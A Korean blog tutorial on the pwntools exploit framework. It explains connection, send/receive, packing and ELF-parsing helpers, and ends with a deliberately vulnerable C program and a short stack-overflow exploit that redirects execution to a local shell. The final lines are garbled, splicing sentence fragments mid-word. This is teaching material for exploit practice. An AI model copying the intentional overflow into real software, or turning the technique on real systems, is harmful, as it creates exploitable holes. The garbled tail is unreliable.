profile image

L o a d i n g . . .

pwntools는 Gallospled 팀이 개발한 파이썬 익스플로잇 프레임워크로, 익스플로잇을 할 때 유용한 여러 기능들을 제공해 준다.

다음과 같이 파이썬 인터프리터에서 pwn 모듈이 임포트되면 pwntools가 정상적으로 설치되었다는 것을 알 수 있다.

 

 

remote

remote는 원격 서비스에 접속하여 통신할 때 사용되는 클래스이다.

p = remote("127.0.0.1", 5000)

위 코드는 127.0.0.1 주소에 열려있는 5000번 포트에 TCP 연결을 맺는다. 연결이 성공적으로 맺어지면 remote 객체를 리턴한다.

 

 

process

process는 로컬 프로세스를 실행하여 통신할 때 사용되는 클래스이다.

p = process("/home/theori/binary")

위 코드는 로컬 파일시스템에 존재하는 /home/theori/binary 바이너리를 실행한다.

 

process 클래스는 로컬에서 바이너리를 실행할 때 환경 변수를 직접 설정할 수 있고, 프로그램을 실행할 때 인자를 전달해야 할 경우 전달할 수 있다.

 

 

send/recv

소켓에 연결하거나 프로그램을 실행할 때 데이터를 보내고 읽어들이는 작업을 해야 한다. 이때 send 함수와 recv 메소드를 사용할 수 있다. 또 해당 메소드의 경우 연결이 맺어진 객체가 존재해야 사용할 수 있다.

 

send

send는 연결이 맺어진 객체에 데이터를 보내는 메소드이다.

p = remote("127.0.0.1", 22)
p.send("AAAA")

위 코드는 "127.0.0.1"의 22번 포트에 연결한 후 "AAAA"를 보낸다.

+ sendline은 연결이 맺어진 객체에 개행을 포함하는 데이터를 보내는 메소드이다.

 

recv

recv는 연결이 맺어진 객체로부터 수신한 데이터를 리턴하는 메소드이다.

p = remote("127.0.0.1", 22)
print p.recv(1024)
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8

위 코드는 "127.0.0.1"의 22번 포트에 연결했을 때 출력되는 문자열을 1024바이트 만큼 수신하여 출력한다.

+ recvline은 연결이 맺어진 객체로부터 개행까지 수신하여 리턴하는 메소드이다. 이땐, 읽을 바이트 수를 지정해주지 않고 개행까지 읽어들인다.

 

recvuntil은 연결이 맺어진 객체에서 원하는 문자 혹은 문자열까지 읽는 메소드이다.

p = remote("127.0.0.1", 22)
print p.recvuntil("SSH")
SSH

"SSH" 문자열까지 읽어들이고 출력한 모습이다.

 

sendafter

send와 recv를 동시에 하는 메소드 또한 존재한다.

sendafter는 원하는 문자 혹은 문자열까지 읽은 뒤 데이터를 보내는 함수이다.

p = remote("127.0.0.1", 22)
print p.sendafter("\n","AAAA")
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8

위 코드는 "127.0.0.1"의 22번 포트에 연결한 후 개행까지 읽어들이고 "AAAA"를 보낸다.p

 

 

pack/unpack

pack과 unpack은 각각의 데이터 크기에 맞게 데이터를 변환할 때 사용한다.

 

패킹 함수는 정수를 인자로 받아 패킹한 후 문자열 형태로 리턴한다.

반면에 언패킹 함수는 문자열을 인자로 받아 언패킹 한 후 정수 형태로 리턴한다.

두 함수는 리틀 엔디언 혹은 빅 엔디언 형태로 지정해줄 수 있고, 지정하지 않는다면 리틀 엔디언 형태로 변환한다. 데이터 크기에 따라 함수가 존재하기 때문에 데이터에 맞게 사용해야 한다.

 

pack

p8은 1 바이트의 데이터를 패킹하는 함수이다.

print p8(0x41)
A

0x41을 문자 형태로 변환하여 A를 리턴한 것을 확인할 수 있다.

 

p16은 2 바이트의 데이터를 패킹하는 함수이다.

print p16(0x4142)
BA

0x4142를 리틀 엔디언의 형태로 변환하여 "BA"를 리턴한 것을 확인할 수 있다.

 

p32는 4 바이트의 데이터를 패킹하는 함수이다.

print p32(0x41424344)
DCBA

0x41424344를 리틀 엔디언의 형태로 변환하여 "DCBA"를 리턴한 것을 확인할 수 있다.

 

p64는 8 바이트의 데이터를 패킹하는 함수이다.

print p64(0x4142434445464748)
HGFEDCBA

 

빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 된다.

 

 

unpack

u8은 1 바이트의 데이터를 언패킹 하는 함수이다.

print u8("A")
65

"A"를 정수 형태로 변환하여 65를 리턴한 것을 확인할 수 있다.

 

u16은 2 바이트의 데이터를 언패킹 하는 함수이다.

print u16("AB")
16961
print hex(16961)
0x4241

"AB"를 정수 형태로 변환하여 16961을 리턴한 것을 확인할 수 있다. hex 함수를 사용하여 16 진수로 변환하면 0x4241인 것을 알 수 있다.

 

u32는 4 바이트의 데이터를 언패킹 하는 함수이다.

print u32("ABCD")
1145258561
print hex(1145258561)
0x44434241

"ABCD"를 정수 형태로 변환하여 1145258561를 리턴한 것을 확인할 수 있다. hex 함수를 사용하여 16 진수로 변환하면 0x44434241인 것을 알 수 있다.

 

u64는 8 바이트의 데이터를 언패킹 하는 함수이다.

print u64("ABCDEFGH")
5208208757389214273
print hex(5208208757389214273)
0x4847464544434241

"ABCDEFGH"를 정수 형태로 변환하여 5208208757389214273를 리턴한 것을 확인할 수 있다.

빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 된다.

 

 

 

ELF

익스플로잇 코드를 작성할 때 함수 주소와 문자열 주소 등을 구해야 한다. 이때, ELF를 사용하면 ELF 헤더를 갖고 있는 파일의 경우 파일의 여러 데이터를 가져올 수 있다.

 

elf.c

// gcc -o elf elf.c -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() {
	system("/bin/sh");
}
int main()
{
	char buf[256];
	printf("Hello World!");
	read(0, buf, 1024);
	return 0;
}

elf.c는 ELF를 사용하기 위한 예제이며, 스택 버퍼 오버플로우가 발생하는 코드이다.

 

다음과 같이 파일을 로딩할 수 있다.

elf = ELF('./elf')
[*] '/home/theori/elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ELF의 인자로 파일 경로를 전달하면 해당 파일에 적용된 보호 기법을 알 수 있고 파일의 객체는 elf 변수에 저장된다.

 

plt는 바이너리에 존재하는 PLT 주소를 가져온다.

print hex(elf.plt['printf'])
0x400480
print hex(elf.plt['system'])
0x40046c

 

바이너리 내에 printf@plt system@plt가 존재한다면 해당하는 주소를 가져올 수 있다.

 

got는 바이너리에 존재하는 GOT 주소를 가져옵니다.

print hex(elf.got['printf'])
0x601020
print hex(elf.got['system'])
0x601018

바이너리 내에 printf@got system@got가 존재한다면 해당하는 주소를 가져올 수 있다.

 

symbols는 바이너리에 존재하는 함수의 주소를 가져온다.

print hex(elf.symbols['giveshell'])
0x4005b6

바이너리 내에 giveshell 함수가 존재한다면 해당하는 주소를 가져올 수 있다.

 

search는 바이너리에 존재하는 문자열의 주소를 가져온다.

print hex(next(elf.search("Hello World!")))
0x40069c

예제는 printf 함수의 인자로 "Hello World!" 문자열이 존재하기 때문에 해당 문자열의 주소를 가져올 수 있다.

 

get_section_by_name은 바이너리에 존재하는 섹션의 주소를 가져온다.

print hex(elf.get_section_by_name('.bss').header.sh_addr)
0x601048
print hex(elf.get_section_by_name('.text').header.sh_addr)
0x4004c0

bss 섹션과 text 섹션의 주소를 가져올 수 있다.

 

read는 원하는 바이너리 주소의 데이터를 읽어옵니다.

print `elf.read(0x400000, 4)`
'\x7fELF'
print `elf.read(elf.symbols['main'], 4)`
'UH\x89\xe5'

read의 인자로 바이너리의 주소와 읽을 바이트 수를 전달하면 해당하는 주소에 존재하는 값을 읽어온다.

 

write는 원하는 바이너리 주소에 데이터를 쓴다.

print `elf.read(0x400000, 4)`
'\x7fELF'
elf.write(0x400000, "!!!")
print `elf.read(0x400000, 4)`
'!!!F'
elf.write(0x400000, "\x7fELF")
print `elf.read(0x400000, 4)`
'\x7fELF

0x400000 주소의 첫 4 바이트는 "\x7fELF" 값을 가지고 있다. write를 사용해서 "!!!" 문자열을 삽입하면 해당하는 주소에 값이 쓰이게 된다. 즉, 이는 특정 영역의 코드를 수정하기 위해서 사용할 수 있다.

 

# elf.py
from pwn import *
context.arch = 'x86_64'
p = process("./elf")
elf = ELF('./elf')
payload = "A"*264
payload += p64(elf.symbols['giveshell'])
p.send(payload)
p.interactive()

elf.py ELF를 사용하여 리턴 주소를 giveshell 함수의 주소로 덮어쓰는 코드이다.

$ python elf.py
[+] Starting local process './elf': pid 64468
[*] '/home/theori/elf'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)

리턴 주소가 giveshell로 조작되면서 셸을 획득할 수 있다.

 

 

참조
bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/

u16은 2 바이트의 데이터를 언패킹 하는 함수입니다.= remoe("127.0.0.1", 22)print p.sendafter("\n",

빅 엔디언으로 변환을 하기 위해서는 두 번째 인자로 endian='big'을 명시해주면 됩니다.AAAA")SSH-2.0-OpenSSH_7.2p바이너리 내에 printf@plt system@plt가 존재한다면 해당하는 주소를 가져올 수 있습니다.2 Ubuntu-4u

복사했습니다!